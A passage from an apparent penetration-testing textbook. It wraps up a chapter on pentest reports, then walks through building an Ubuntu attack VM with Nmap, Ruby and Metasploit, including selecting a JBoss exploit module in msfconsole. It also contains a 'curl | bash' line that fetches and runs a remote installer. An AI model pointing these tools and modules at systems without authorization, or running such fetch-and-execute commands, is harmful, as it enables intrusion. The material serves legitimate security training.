no trouble filling in the missing pieces as they present themselves. I hope you’ve learned that this isn’t rocket science; it doesn’t take expensive commercial soft- ware to carry out a good INPT. It isn’t magic, either; it’s just a process. Companies run on computer systems. In large companies, there are thousands of such systems, and human beings are responsible for making sure all of them are secure. The defenders have to close every single door and window; you (the attacker) need to find only a sin- gle one that was accidentally left open. Once you get in, you just need to know where to search for keys or other pathways into adjacent areas. Exercise 12.1: Create a solid pentest deliverable Follow the guidelines from this chapter to create a solid pentest deliverable docu- menting all the results from your engagement. Be sure your deliverable contains each of the eight components and effectively com- municates the results of your engagement. It should also provide valuable recom- mendations for strengthening the security posture of your client’s environment. An example of a completed pentest report can be found in appendix D. 218 CHAPTER 12 Writing a solid pentest deliverable 12.8 What now? Now that you have learned the four phases of a typical INPT and have the confidence to execute an engagement on your own, you’re probably wondering where to go next to build on the skills and techniques you’ve acquired from reading this book and work- ing through the exercises. The best way to do this is to complete engagements. You’ll learn the most when you come across a system that seems susceptible to compromise but you aren’t sure exactly how to do it. Googling things is probably the number-one skill a good pentester needs. In the meantime, if you don’t have any upcoming engage- ments to practice on, here is a list of online resources to explore as you further your growth and career development as a pentester and ethical hacker:  Training and educational content – https://www.pentestgeek.com – https://www.pentesteracademy.com – https://www.offensive-security.com – https://www.hackthebox.eu  Bug bounty programs – https://www.hackerone.com – https://www.bugcrowd.com  Books – The Web Application Hacker’s Handbook, by Dafydd Stuttard and Marcus Pinto (Wiley, 2nd ed. 2011): https://amzn.to/3l3xJHM – Gray Hat Hacking by Allen Harper et al. (McGraw-Hill Education, 5th ed. 2018): https://amzn.to/349IDFM – Metasploit: The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni (No Starch Press, 2011): https://amzn.to/ 2FEtAtv – The Hacker Playbook: Practical Guide to Penetration Testing by Peter Kim (CreateSpace, 2014): https://amzn.to/34cXsar Summary  Your pentest deliverable is the only tangible work product left behind after the technical testing portion of your engagement has ended.  Different vendors produce different deliverables, but the eight components listed in this chapter will be present in some form or fashion.  The executive summary is a 30,000-foot view of the entire engagement. It could serve as a non-technical standalone report for executives and business leaders.  The engagement methodology describes the workflow and activities that you conducted during the engagement. It also answers the question, “What type of attacker were you trying to emulate?” 219 Summary  Attack narratives tell a story in a step-by-step fashion of how you went from no access to complete control of the entire network.  Technical observations, also called findings, are the meat and potatoes of pentest deliverables. They correlate directly to the authentication, configura- tion, and patching vulnerabilities introduced in chapter 4. 221 appendix A Building a virtual pentest platform In this appendix, you create a virtual penetration test (pentest) platform similar to what an attacker would use to compromise an enterprise network. You start with the latest stable Ubuntu Desktop ISO file and create a fresh virtual machine using VMWare. Next, you install several OS dependencies with Ubuntu’s package manage- ment tool, apt. Then you compile and install the bleeding-edge version of Nmap from its source code repository. Finally, you set up the Ruby Version Manager (RVM) and PostgreSQL for use with the Metasploit framework. These tools will serve as the foundation for your pentest platform. Throughout this book, you install additional packages as needed, but the core suite of applications necessary to conduct a thor- ough internal network penetration test (INPT) is set up in this appendix. DEFINITIONS Nmap, short for network mapper, is a powerful open source project originally developed for system administrators to map out and identify information about listening network services. Coincidentally it is an essential tool for network pentesters and hackers alike. The Metasploit framework is an open source exploitation and attack framework developed and maintained by hundreds of information security professionals. It con- tains thousands of individual exploits, auxiliary modules, payloads, and encoders that can be used throughout an INPT. A.1 Creating an Ubuntu virtual machine In this appendix, you create and set up your Ubuntu VM, which will serve as your pentest platform in the book. You should feel free to use whichever virtualization software you are most comfortable with. I will be using VMware Fusion, which I highly recommend if you are on a Mac; but you can also use VirtualBox if you prefer. 222 APPENDIX A Building a virtual pentest platform VMware Fusion is a commercial product, but you can get a free trial at www .vmware.com/products/fusion/fusion-evaluation.html. You can find VMWare Player at www.vmware.com/products/workstation-player.html and VirtualBox at www.virtualbox .org/wiki/Downloads. Download the latest long-term support (LTS) release of Ubuntu Desktop in .iso format from www.ubuntu.com/download/desktop, and create your VM. Ubuntu will likely have a newer version available, but in my experience, it’s best to stick with the LTS release. If you are a Linux junkie and enjoy playing with the latest and greatest features, then go ahead and create a separate VM. For pentesting, you should use a stable platform. If you prefer a different distribution, download the latest image of your preferred distro and create your VM. As for the base VM, I’ll leave that up to you, but I recom- mend configuring the VM with at least the following:  50 GB of disk space  2 GB of RAM  2 CPU cores If it’s been a while since you’ve created a VM, you might find my quick-and-dirty video refresher course “Building a Virtual Pentest Platform” useful: http://mng.bz/yrNp. I walk through most of the steps in this appendix. When you finish setting up your VM, start it and log in. In the video, I mention encrypting the virtual hard disk, which adds an additional layer of protection—mainly for your client, should you happen to mis- place your VM. It’s worth mentioning the importance of securely storing your encryp- tion key using a password vault such as 1Password, because if you ever lose this encryption key, the data in your VM will be lost forever. A.2 Additional OS dependencies After you are booted up into your freshly created Ubuntu VM, it’s time to get started set- ting up your pentest tools. Being comfortable and competent with the command line is essential to penetrating enterprise networks, so the terminal is a great place to begin. Most of the best tools for conducting pentests are command line–only. Even if that weren’t the case, when you do eventually compromise a vulnerable target, a command What if I already use Linux as my primary OS? Even if you are running Linux as your bread-and-butter OS, you should get used to the idea of setting up a VM for pentesting. There are many benefits to doing things this way, including the ability to snapshot your base system with all of your tools set up and configured. Then, after each engagement, you can revert to the snapshot, remov- ing any changes you may have made that were specific to a particular pentest. Addi- tionally, you can add an extra layer of security by encrypting your VM’s virtual hard disk, which is a good practice that I also recommend. 223 APPENDIX A Building a virtual pentest platform shell is often the best-case scenario in terms of remote access to your compromised host. If you aren’t already an avid command-line ninja, you’ll definitely be on your way by the time you finished reading this appendix. A.2.1 Managing Ubuntu packages with apt Although Ubuntu and several other Linux distributions come with a GUI for manag- ing packages, you’re going to use the command-line tool apt exclusively for installing and maintaining Linux packages. The apt command is used to interact with the Advanced Packaging Tool (APT), which is how all Debian Linux–based distributions manage their OS packages. You have to preface these commands with sudo because they require root access to the Linux filesystem. The first thing you should do after creating your Linux VM is to update your pack- ages; to do that, run the following two commands from your Linux VM. The first com- mand updates the repositories with the latest information about available packages, and the second installs any available package updates to these existing packages that are already on your system: sudo apt update sudo apt upgrade Next you should install some additional packages:  The open-vm-tools and open-vm-tools-desktop packages will provide you with a more comfortable user experience with your VM, allowing you to do things like make the window full screen and share files between your VM and host machine.  The openssh client and server packages will let you remotely manage your Linux VM using SSH.  Python-pip is a preferred method of installing many open source Python tools and frameworks.  Vim is an awesome and extremely capable text editor that I highly recommend you use.  Curl is a powerful command-line tool for interacting with web servers.  Tmux is a terminal multiplexer that has entire books written about it. In short, it can make your Linux terminal an extremely efficient place to multi-task.  net-tools provides a series of useful commands for general network trouble- shooting. The following command installs all of these packages: ~$ sudo apt install open-vm-tools open-vm-tools-desktop openssh-client openssh-server python-pip vim curl tmux medusa libssl-dev libffi-dev python-dev build-essential net-tools -y 224 APPENDIX A Building a virtual pentest platform A.2.2 Installing CrackMapExec CrackMapExec (CME) is a powerful framework written in Python. Although it has many useful features, this book primarily focuses on its ability to perform password guessing and remote administration of Windows systems. Installing it is straightfor- ward if you use pip. Just type pip install crackmapexec, and you’re all set. You need to restart your bash prompt after the installation to use the cme command. A.2.3 Customizing your terminal look and feel You can spend hours customizing the fonts, colors, prompts, and status bars to get the terminal looking exactly the way you want it to. This is a personal decision that I encourage you to explore. I don’t want to spend too much time on it here; instead, here’s a link to my personal terminal customizations on my GitHub page: https:// www.github.com/r3dy/ubuntu-terminal. It includes a detailed README file with installation instructions; feel free to check it out if you want to copy me until you’ve had a chance to develop your own preferences. That said, I’m sure there will be some things you don’t like; play around until you find what works for you. Appendix B includes useful information about tmux, a powerful terminal multi- plexer that can help you to manage multiple terminal windows more effectively while doing pentesting or any other general computing in a Linux environment. If you are not using tmux regularly, then I recommend reading that section of appendix B before continuing with setting up your VM. A.3 Installing Nmap Nmap is an open source network mapping tool used daily by information security pro- fessionals throughout the world. The primary use for Nmap on a network pentest is to discover live hosts and enumerate listening services on those hosts. Remember, as a sim- ulated attacker, you don’t know where anything is, so you need a reliable way to discover information about your target network. For example, host webprod01.acmecorp.local might have an instance of Apache Tomcat/Coyote JSP listening on TCP port 8081 that could be vulnerable to attack. As a pentester, this is something you are interested in knowing, and Nmap is just the tool to help you discover it. A.3.1 NSE: The Nmap scripting engine Before you type apt install nmap, I want to explain a little about the Nmap scripting engine (NSE). NSE scripts are standalone scripts that can be added to an Nmap scan at runtime to allow you to tap into the powerful Nmap engine to repeat a workflow you’ve identified that typically is targeted against a specific network protocol on a sin- gle host. Throughout chapters 3 and 4, you’re going to use the core Nmap functional- ity to discover and identify live network hosts and services running on those systems. Here’s an example. Due to the rate at which NSE scripts are being developed and included in the main Nmap repository, it’s best to stick to the latest build—sometimes referred to as the bleeding-edge repository. If you simply rely on whatever version of Nmap your Linux 225 APPENDIX A Building a virtual pentest platform distribution ships with, you are likely to miss out on recently developed functionality. This becomes blatantly clear if you run the following commands at your terminal command prompt. As you can see from the output, at the time of writing this, Ubuntu ships with Nmap version 7.60. ~$ sudo apt install nmap ~$ nmap -V Nmap version 7.60 ( https://nmap.org ) Platform: x86_64-pc-linux-gnu Compiled with: liblua-5.3.3 openssl-1.1.0g nmap-libssh2-1.8.0 libz-1.2.8 libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6 Compiled without: Available nsock engines: epoll poll select Look in the /usr/share/nmap/scripts directory (where all the NSE scripts are stored) by running the following command. You can see that version 7.60 comes with 579 scripts: ~$ ls -lah /usr/share/nmap/scripts/*.nse |wc -l 579 That’s 579 individual use cases for which a security researcher was tasked with con- ducting a repetitive task against a large number of hosts and was kind enough to cre- ate an automated solution that you can benefit from, should you find yourself in a similar encounter. Now go to GitHub and take a look at the current bleeding-edge release of Nmap at https://github.com/nmap/nmap. At the time of writing, Nmap is on an entirely new Listing A.1 Installing Nmap using the built-in OS package manager Example of an NSE script use case Suppose you are conducting a pentest for a large company—think 10,000+ IP addresses. After running Nmap, you discover that your target network has 652 serv- ers running a VNC screen-sharing application on TCP port 5900. As a simulated net- work attacker, your next thought should be to wonder if any of these VNC services were configured sloppily with a default or non-existent password. If you had only a handful of systems to test, you could attempt a VNC connection with each of them and type in a couple of default passwords one at a time—but this would be a night- mare to repeat against 652 different servers. A security professional named Patrik Karlsson presumably found himself in precisely this situation, because he created a handy NSE script called vnc-brute that can be used to quickly test VNC services for default passwords. Thanks to Patrik’s work and the work of countless others, Nmap comes with hundreds of useful NSE scripts that you might need on a pentest. Nmap version 7.60 was installed when I used the built-in OS package manager. 226 APPENDIX A Building a virtual pentest platform release, version 7.70, that presumably has new features, enhancements, and bug fixes. Additionally, the scripts directory contains 597 NSE scripts—almost 20 more than the previous version. This is why I prefer to compile from source and strongly recommend that you do the same. NOTE If you’ve never compiled an application from source on Linux before, don’t worry. It’s straightforward and requires only a handful of commands from the terminal. In the next section, I walk you through compiling and installing Nmap from the source. A.3.2 Operating system dependencies For Nmap to compile correctly on your Ubuntu VM, you need to install the necessary OS dependencies, which are libraries that contain pieces of code that nmap requires to operate. Run the following command to install these libraries: sudo apt install git wget build-essential checkinstall libpcre3-dev libssl dev libpcap-dev -y The output will be similar to the following: Reading package lists... Done Building dependency tree Reading state information... Done wget is already the newest version (1.19.4-1ubuntu2.2). The following additional packages will be installed: dpkg-dev fakeroot g++ g++-7 gcc gcc-7 git-man libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libasan4 libatomic1 libc-dev-bin libc6-dev libcilkrts5 liberror-perl libfakeroot libgcc-7-dev libitm1 liblsan0 libmpx2 libpcap0.8-dev libpcre16-3 libpcre32-3 libpcrecpp0v5 libquadmath0 libssl-doc libstdc++-7-dev libtsan0 libubsan0 linux-libc-dev make manpages-dev Suggested packages: debian-keyring g++-multilib g++-7-multilib gcc-7-doc libstdc++6-7-dbg ... It’s important to note that as time progresses, these dependencies change, so the com- mand that installs these dependencies may not work when you read this. That said, if you run into trouble when you run the command, the error message in the Ubuntu output should be all you need to sort out the solution. For example, if libpcre3-dev fails to install, you can run the command apt search libpcre; you might find that it’s been changed to libpcre4-dev. With that information, you can modify the command and move on. I keep an up-to-date set of installation instructions on my blog: https://www.pentestgeek.com/tools/how-to- install-nmap. 227 APPENDIX A Building a virtual pentest platform A.3.3 Compiling and installing from source After you’ve installed all the dependencies for Ubuntu, check out the latest stable release of Nmap from GitHub. You can do this by running the following command at the prompt in your VM terminal: ~$ git clone https://github.com/nmap/nmap.git When that’s finished, change into the newly created Nmap directory with the follow- ing command: ~$ cd nmap/ From in the Nmap directory, you can run the pre-build configuration script by prefac- ing the script with ./, which in Linux means the current directory. Run the following pre-build configuration script: ~$ ./configure Next, build and compile the binaries using the make command: ~$ make Finally, install the executables to the /usr/local/bin directory by running this command: ~$ sudo make install When the make command completes (“NMAP SUCCESSFULLY INSTALLED”), you’re all set; Nmap is now installed on your system. You should be able to run Nmap from any directory on your Ubuntu VM, and you should also be running the latest sta- ble release. ~$ nmap -V nmap version 7.70SVN#A ( https://nmap.org ) Platform: x86_64-unknown-linux-gnu Compiled with: nmap-liblua-5.3.5 openssl-1.1.0g nmap-libssh2-1.8.2 libz 1.2.11 libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6 Compiled without: Available nsock engines: epoll poll select Listing A.2 Compiling and Installing Nmap from source Nmap version 7.70 is installed when you compile from source. Source install does not replace the apt install If you couldn’t help yourself and went ahead and installed Nmap using apt install nmap from your terminal, notice that after completing the source-based installation in this section, the command nmap -V still returns the out-of-date version. 228 APPENDIX A Building a virtual pentest platform A.3.4 Exploring the documentation The last thing to do before moving on to the next section is to familiarize yourself with the Nmap quick help file, which you can open by typing the following command: nmap -h It’s lengthy output, so you might want to pipe it using the more command: nmap -h | more That way, you can page through the output one terminal screen at a time. By the time you finish this book, you’ll have learned too many Nmap commands to remember. This is when the quick help file piped into grep can be handy. Suppose you think to yourself, “How do I pass an argument to an NSE script again?” You can type nmap -h | grep -I script to quickly navigate to that section of the help file. ~$ nmap -h | grep -i script SCRIPT SCAN: -sC: equivalent to --script=default --script=<Lua scripts>: <Lua scripts> is a comma separated list --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma-separated list of script-files script-categories. -A: Enable OS detection, version detection, script scanning, and traceroute If the quick help file doesn’t go into enough detail, you can use the manpages for a deeper explanation of any particular component of Nmap. Type man nmap at a termi- nal prompt to access the manpages for Nmap. A.4 The Ruby scripting language The last thing I want to do in this section is enter the never-ending and never-productive battle about which scripting language is the best. Instead, I want to offer an easy intro- duction for those of you who haven’t done much scripting before, and I’m going to do that with the Ruby scripting language. If you’re married to another language and are competent enough to automate repetitive tasks, then by all means, feel free to skip this section. Listing A.3 Search Nmap’s help menu with the grep command (continued) This happens because a few files are left over even if you uninstalled the apt pack- age. The solution to this problem is to follow the instructions at https://nmap.org/ book/inst-removing-nmap.html to remove Nmap from your system. Once that’s com- plete, you can go back through the source-based installation. The large output from nmap -h can be trimmed down to a specific string using grep. 229 APPENDIX A Building a virtual pentest platform If you’re wondering why I’ve chosen Ruby instead of Python or Node.js or some- thing else, the answer is simple: it’s the scripting language I know best. When I’m faced with a tedious and repetitive task that I need to automate, such as sending a POST request to several web servers and searching the HTTP response for a given string, my mind starts to visualize Ruby code to do it, simply because Ruby was the first language I spent time learning. Why did I choose to learn Ruby? Because the Metasploit framework is written in Ruby, and one day I needed to make some custom- izations to a module. (I had so much fun learning Ruby that I eventually authored a few of my own modules, which are now part of the Metasploit framework.) Throughout my career, I’ve written dozens of little scripts and tools to automate bits and pieces of a network pentest, some of which are covered throughout this book. It will be easier for you to follow along if you’re familiar with some key Ruby concepts and gems. Because you’re setting up your pentest platform right now, it’s the perfect time to get your fingers dirty and write some code. A.4.1 Installing Ruby Version Manager First, the easy part: installing Ruby. Instead of using whatever version ships by default with Ubuntu, I strongly recommend you use Ruby Version Manager (RVM) to install Ruby. It does a fantastic job taking care of all the various OS dependencies and code libraries that each version needs and keeps them separate from one another. RVM is a great way to man- age the many different versions of the Ruby core language as well as version-compatible gems, which you’ll no doubt have to switch between when using various tools. As luck would have it, the fine folks at the RVM project have created a si bash script you can use to install it (https://rvm.io/rvm/install). Use the following steps to install RVM: 1 Install the required GNU Privacy Guard (GPG) keys to verify the installation packages with the following single command: ~$ gpg -–keyserver hkp://pool.sks-keyservers.net -–recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB 2 Run the following command to pull down the RVM installation script while simultaneously installing the current latest stable version of Ruby, which was 2.6.0 at the time of writing: ~$ \curl -sSL https://get.rvm.io | bash -s stable --ruby 3 Follow the instructions from the command-line installation script, which tells you to source the rvm script to set a bunch of environment variables that are required for RVM to function like a native Linux command: ~$ source ~/.rvm/scripts/rvm I recommend appending this command to your .bashrc file, which ensures that it gets executed each time you open a terminal: ~$ echo source ~/.rvm/scripts/rvm >> ~/.bashrc 230 APPENDIX A Building a virtual pentest platform You should now be able to run the rvm list command and get output similar to the following: ~$ rvm list =* ruby-2.6.0 [ x86_64 ] # => - current # =* - current && default # * - default A.4.2 Writing an obligatory Hello World example I’m going to follow an ancient tradition that dates back to a time before I can remem- ber and teach you how to write your very own Ruby script that does nothing except print the words “Hello world” to the screen. To do this, you use a text editor such as Vim. Create a new, blank script by typing vim hello.rb. TIP You should already have Vim installed. If you don’t, type the following command at the prompt: sudo apt install vim. HELLO WORLD IN TWO LINES OF CODE You may have tried to use Vim or Vi before: opened a file, tried to edit it and couldn’t, closed Vim, and decided it wasn’t for you. This is most likely because you were stuck in the wrong mode. Vim has different modes that allow you to do different things. One of the reasons I recommend using Vim is the power-line status bar, which lets you know which mode you’re in. By default, Vim opens in Normal mode. To edit the hello.rb file, you need to change to Insert mode, which you do by press- ing the letter I for insert. When you’re in Insert mode—indicated by -- INSERT -- in the status bar—type the following two lines of code (see figure A.1): #!/usr/bin/env ruby puts "Hello world" Figure A.1 Switching to Insert mode to add two lines of code 231 APPENDIX A Building a virtual pentest platform To save these changes to the file, exit from Insert mode back into Normal mode by pressing the Esc key. Once you’re back in Normal mode, type :x, which is shorthand for exiting and saving the current file. Now you can run your Ruby program by typing ruby hello.rb from within the directory where the file you just created resides: ~$ ruby hello.rb Hello world USING METHODS You’ve just written your first Ruby program, but it doesn’t do much. Let’s expand it a little. First, you can wrap the call to puts "Hello world" in its own method and call it that way. A method or function is a snippet of code wrapped in a block that can then be called multiple times by other sections of code in the same program. Open your hello.rb file again with Vim. Switch into Insert mode, and then make the following modifications to your code: #!/usr/bin/env ruby def sayhello() puts "Hello World!" end sayhello() In case it’s not obvious to you, you’ve defined a method named sayhello() and placed the call to puts "Hello World" in the method. Then you call the method. If you exit and save, the program does exactly the same thing as before; it’s just using a method call to do it. COMMAND-LINE ARGUMENTS How about changing the program output to an argument that is passed at runtime? That’s easy enough—open the hello.rb file again with Vim, switch into Insert mode, and make the following modifications to the code: 1 Change def sayhello() to def sayhello(name). You’re modifying this method to take in a parameter variable called name when it’s called. 2 Change puts "Hello world" to puts "Hello #{name.to_s}" to pass in the name variable as input to the puts method. The .to_s is a special Ruby method that stands for to string. This ensures that only a string value is passed to the puts method even if a non-ASCI string was provided. 3 Add the new line name = ARGV[0] to create a variable called name and assign it the value ARGV[0], which is a special Ruby array containing all arguments passed to the program when it was run from the command line. The [0] says the program is only interested in the first argument. If more than one argu- ment was provided, the remaining arguments will be ignored. 4 Change the call to sayhello() to sayhello(name) to pass in the name variable as a parameter to the sayhello() method. 232 APPENDIX A Building a virtual pentest platform Here’s the revised hello.rb file: #!/usr/bin/env ruby def sayhello(name) puts "Hello #{name.to_s}!" end name = ARGV[0] sayhello(name) After you exit and save the file, you can run it with ruby hello.rb Pentester. The program should output “Hello Pentester” to your terminal. CODE BLOCK ITERATIONS Iterating through a block of code is easy in Ruby. Ruby uses curly braces: the { and } keys on your keyboard. Here is a quick example. Open the hello.rb file one last time, and make the following adjustments: 1 Change def sayhello(name) to def sayhello(name, number), adding a second parameter variable called number as input to this method. 2 Change puts "Hello #{name.to_s}!" to puts "Hello #{name.to_s} #{num- ber.to_s}!", adding in the new variable to the end of the string. 3 Change sayhello(name) to 10.times { |num| sayhello(name, num) }. The last line probably looks a little strange to you if you’ve never written Ruby before, but it’s actually pretty intuitive. First you we have a numeric integer 10 that’s easy enough to understand. Next you call the Ruby .times method on that integer, which takes in a code block that’s placed in { and } to be executed that many times. Each time the code block is executed, the variable placed in | and | (num, in this case) will increment until the block has been executed 10 times. Here’s the revised hello.rb file: #!/usr/bin/env ruby def sayhello(name, number) puts "Hello #{name.to_s} #{number.to_s}!" end name = ARGV[0] 10.times { |num| sayhello(name, num) } If you now run the script with ruby hello.rb Royce, you should see the following output: ~$ ruby hello.rb Royce Hello Royce 0! Hello Royce 1! Hello Royce 2! 233 APPENDIX A Building a virtual pentest platform Hello Royce 3! Hello Royce 4! Hello Royce 5! Hello Royce 6! Hello Royce 7! Hello Royce 8! Hello Royce 9! That’s enough Ruby for now; I only wanted you to get a feel for it because you’ll use it to script some automated pentest workflows in this book. This section also serves a dual purpose because installing RVM is a prerequisite for getting up and running with the Metasploit framework, which is one of the most awesome hacker tool kits used by pentesters today. A.5 The Metasploit framework Metasploit is another popular and useful suite of tools made for and by information security professionals. Although its primary use is a software exploitation framework, several of its auxiliary scan modules are useful on a network pentest. Combined with Ruby skills beyond what I have introduced here, Metasploit can also be a powerful automation framework for developing custom pentest workflows that are limited by only your imagination. You learn how to use several components of the Metasploit framework throughout many of the chapters in this book, but for now let’s focus on the installation process and navigating the msfconsole. In this book, you use some of the auxiliary modules to detect vulnerable systems and some of the exploit modules to compromise a vulnera- ble target. You also become familiar with the powerful Meterpreter payload, for which Metasploit is loved by pentesters. A.5.1 Operating system dependencies There are quite a few OS dependencies here. You should assume that some of those listed in this appendix are already obsolete or replaced by later versions. I’m going to provide the command for the sake of completeness, but I recommend going to the rapid7 GitHub page to grab the latest dependencies: http://mng.bz/MowQ. To install the dependencies in your Ubuntu VM, run the following command: ~$ sudo apt-get install gpgv2 autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2 dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev Once that’s finished, get the source code from GitHub and check out the latest repos- itory to your Ubuntu VM: ~$ git clone https://github.com/rapid7/metasploit-framework.git 234 APPENDIX A Building a virtual pentest platform A.5.2 Necessary Ruby gems Now that you’ve checked out the Metasploit code, run the following command at the prompt to navigate to the newly created Metasploit directory: ~$ cd metasploit-framework If you run the ls command while in this directory, you’ll notice a file called Gemfile; this is a special file among Ruby applications that contains information about all of the external third-party libraries that need to be installed and included for the appli- cation to function properly. In the Ruby world, these libraries are called gems. Nor- mally you would use the gem command to install a particular library, such as gem install nokogiri. But when an application requires lots of gems—and Metasploit certainly does—a Gemfile is often provided by the developers so you can install all the gems in the file using bundler (which is itself a Ruby gem—you installed it when you set up RVM). Speaking of RVM, here’s an example of why it is so useful. In the metasploit- framework directory, notice the file named .ruby-version. Go ahead and cat out that file: cat .ruby-version. This is the version of Ruby that is required to run the framework properly. At the time of writing, it’s version 2.6.2, which is separate from the 2.6.0 version that you installed with RVM. Don’t worry—you can install the required version by running the following command at the prompt, substituting the required version number for 2.6.2: ~$ rvm --install 2.6.2 With the proper version of Ruby installed, you can install all of the necessary Metasploit gems by typing the bundle command as follows within the same directory where the Gemfile is located. ~$ bundle Fetching gem metadata from https://rubygems.org/................ Fetching rake 12.3.3 Installing rake 12.3.3 Using Ascii85 1.0.3 Using concurrent-ruby 1.0.5 Using i18n 0.9.5 Using minitest 5.11.3 Using thread_safe 0.3.6 Using tzinfo 1.2.5 Using activesupport 4.2.11.1 Using builder 3.2.3 Using erubis 2.7.0 Using mini_portile2 2.4.0 Fetching nokogiri 1.10.4 Listing A.4 Installing the necessary Ruby gems using bundle Replace 2.6.2 with the required version number. 235 APPENDIX A Building a virtual pentest platform Installing nokogiri 1.10.4 with native extensions Using rails-deprecated_sanitizer 1.0.3 Using rails-dom-testing 1.0.9 .... [OUTPUT TRIMMED] .... Installing rspec-mocks 3.8.1 Using rspec 3.8.0 Using rspec-rails 3.8.2 Using rspec-rerun 1.1.0 Using simplecov-html 0.10.2 Fetching simplecov 0.17.0 Installing simplecov 0.17.0 Using swagger-blocks 2.0.2 Using timecop 0.9.1 Fetching yard 0.9.20 Installing yard 0.9.20 Bundle complete! 14 Gemfile dependencies, 144 gems now installed. Use `bundle info [gemname]` to see where a bundled gem is installed. When the bundler gem has finished installing all of the necessary Ruby gems from your Gemfile, you should see output similar to listing A.4. A.5.3 Setting up PostgreSQL for Metasploit The final step in setting up Metasploit is to create a PostgreSQL database and popu- late the YAML configuration file with the necessary login information. You should already have PostgreSQL installed in your Ubuntu VM, but if you don’t, run the fol- lowing command to install it: ~$ sudo apt install postgresql postgresql-contrib Now that the server is installed, you can get your database up and running with the following five commands, run sequentially: 1 Switch to the postgres user account: ~$ sudo su postgres 2 Create a postgres role to be used with Metasploit: ~$ createuser msfuser -S -R -P 3 Create the Metasploit database in the PostgreSQL server: ~$ createdb msfdb -O msfuser 4 Exit the postgres user session: ~$ exit 5 Enable PostgreSQL to start automatically: ~$ sudo update-rc.d postgresql enable 236 APPENDIX A Building a virtual pentest platform All right, you’ve created a database and user account just for Metasploit, but you need to tell the framework how to access them. This is accomplished using a YAML file. Create a directory called .msf4 in your home directory with the following command: mkdir ~/.msf4 If you were impatient and already launched the msfconsole, then this directory exists. In that case, change into it. Now, create a file named database.yml with the contents shown in listing A.5. NOTE Be sure to change [PASSWORD] to match the password you used when you created the msfuser postgres account. # Development Database development: &pgsql adapter: postgresql database: msfdb username: msfuser password: [PASSWORD] host: localhost port: 5432 pool: 5 timeout: 5 # Production database -- same as dev production: &production <<: *pgsql Save the file, navigate with a cd command back into the Metasploit-framework direc- tory, and start the msfconsole by running ./msfconsole. After it loads, you should be at the Metasploit prompt. You can verify the connection to your postgres database by issuing the db_status command. Your output should say “Connected to msfdb. Con- nection type: postgresql” (see figure A.2). Listing A.5 database.yml file for use with the msfconsole Use the PostgreSQL database server Name of the database you created Name of the PostgreSQL user you created Password for the PostgreSQL user System running the PostgreSQL server Default port that PostgreSQL is listening on Maximum number of concurrent database connections Number of seconds to wait for a database response Figure A.2 Output of the db_status command from the msfconsole 237 APPENDIX A Building a virtual pentest platform A.5.4 Navigating the msfconsole If you aren’t an avid command-line user, then at first the msfconsole might seem a bit foreign. Don’t be intimidated—the easiest way to understand it is to think of the con- sole as a sort of command prompt within a command prompt, except this command prompt speaks Metasploit instead of bash. The framework is divided into a tree structure, beginning at the bottom (root) and branching out into seven top-level branches: 1 Auxiliary 2 Encoders 3 Evasion 4 Exploits 5 Nops 6 Payloads 7 Post Each branch can be further separated into more branches and eventually into individ- ual modules, which can be used from the msfconsole. For example, if you type the command search invoker, you see something like this. ~$ ./msfconsole _ _ / \ /\ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v5.0.17-dev-7d383d8bde ] + -- --=[ 1877 exploits - 1060 auxiliary - 328 post ] + -- --=[ 546 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] msf5 > search invoker Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ---- ----------- exploit/multi/http/jboss_invoke_deploy 2007-02-20 JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet) msf5 > Listing A.6 Msfconsole: using the search command Type search followed by the string you are trying to find. A single exploit module is returned when searching for “invoker.” 238 APPENDIX A Building a virtual pentest platform As you can see, this module is named jboss_invoke_deploy. It is located in the http directory, which is in the multi directory in the top-level exploit directory. To use a particular module, type use followed by the path to the module, as in the following example: use exploit/multi/http/jboss_invoke_deploy Notice how the prompt changes to show that you have selected a module. You can learn more about a particular module by typing info. You can also see information about the parameters you can use to run the module by typing show options. msf5 exploit(multi/http/jboss_invoke_deploy) > show options Module options (exploit/multi/http/jboss_invoke_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- APPBASE no Application... JSP no JSP name to u... Proxies no A proxy chain of for... RHOSTS yes The target addres... RPORT 8080 yes The target port (TCP) SSL false no Negotiate SSL/TLS f... TARGETURI /invoker/JMXInvokerServlet yes The URI path of th... VHOST no HTTP server virtua... Exploit target: Id Name -- ---- 0 Automatic As you can see from the show options command, this module takes eight parameters:  APPBASE  JSP  Proxies  RHOSTS  RPORT  SSL  TARGETURI  VHOST The msfconsole also displays some helpful information in the Description column about what each parameter is and whether it’s required to run the module. In keeping with the intuitive msfconsole commands, if you want to set the value of a particular Listing A.7 Msfconsole: show options output Type “show options” on any module to find out how to use it. 239 APPENDIX A Building a virtual pentest platform parameter, you can do so using the set command. For example, type the following command to set the value for the RHOSTS parameter: set RHOSTS 127.0.0.1 Then press Enter. Run the show options command again. Notice that the value you specified for the RHOSTS parameter is now displayed in the Current Setting column. The award for easiest commands to remember definitely goes to Metasploit. If you want to run this module, type the run command at the prompt. To exit the msfconsole and return to your bash prompt, you don’t have to think too hard about what the command might be. You guessed it: exit. TIP Once you’ve finished installing all your tools, take a snapshot of your VM. This is something you can revert back to before each new engagement. When you inevitably find yourself installing new tools because you need them for a specific engagement, go back to your snapshot, install the tools you used, create a new snapshot, and use that one as your base system going for- ward. Rinse and release 